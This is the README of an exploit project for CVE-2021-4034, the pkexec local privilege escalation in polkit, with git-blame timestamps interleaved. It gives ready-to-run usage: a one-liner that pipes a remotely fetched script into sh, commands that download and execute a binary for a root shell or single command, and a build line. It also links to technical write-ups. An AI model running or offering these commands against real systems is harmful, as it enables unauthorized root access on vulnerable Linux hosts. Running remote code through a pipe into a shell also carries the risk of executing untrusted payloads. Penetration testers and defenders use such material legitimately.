2022-01-26 17:28:42 +03:00
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# PwnKit
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Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation
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## Usage
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2022-01-27 22:38:48 +03:00
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Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.
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```bash
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2022-01-27 22:43:49 +03:00
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sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
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2022-01-27 22:38:48 +03:00
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```
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2022-01-27 22:57:14 +03:00
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### Manually
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2022-01-26 17:28:42 +03:00
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```bash
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2022-01-27 22:57:14 +03:00
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curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
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chmod +x ./PwnKit
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2022-01-27 22:38:48 +03:00
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./PwnKit # interactive shell
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./PwnKit 'id' # single command
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```
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### Patched
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2022-01-27 22:57:14 +03:00
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Running the exploit against patched versions will yield the following output.
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2022-01-27 22:38:48 +03:00
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2022-01-26 17:28:42 +03:00
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2022-01-27 22:57:14 +03:00
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### Build
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```bash
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gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC
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```
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2022-01-26 17:28:42 +03:00
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## Technical Details
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- https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
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## References
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- https://github.com/arthepsy/CVE-2021-4034/
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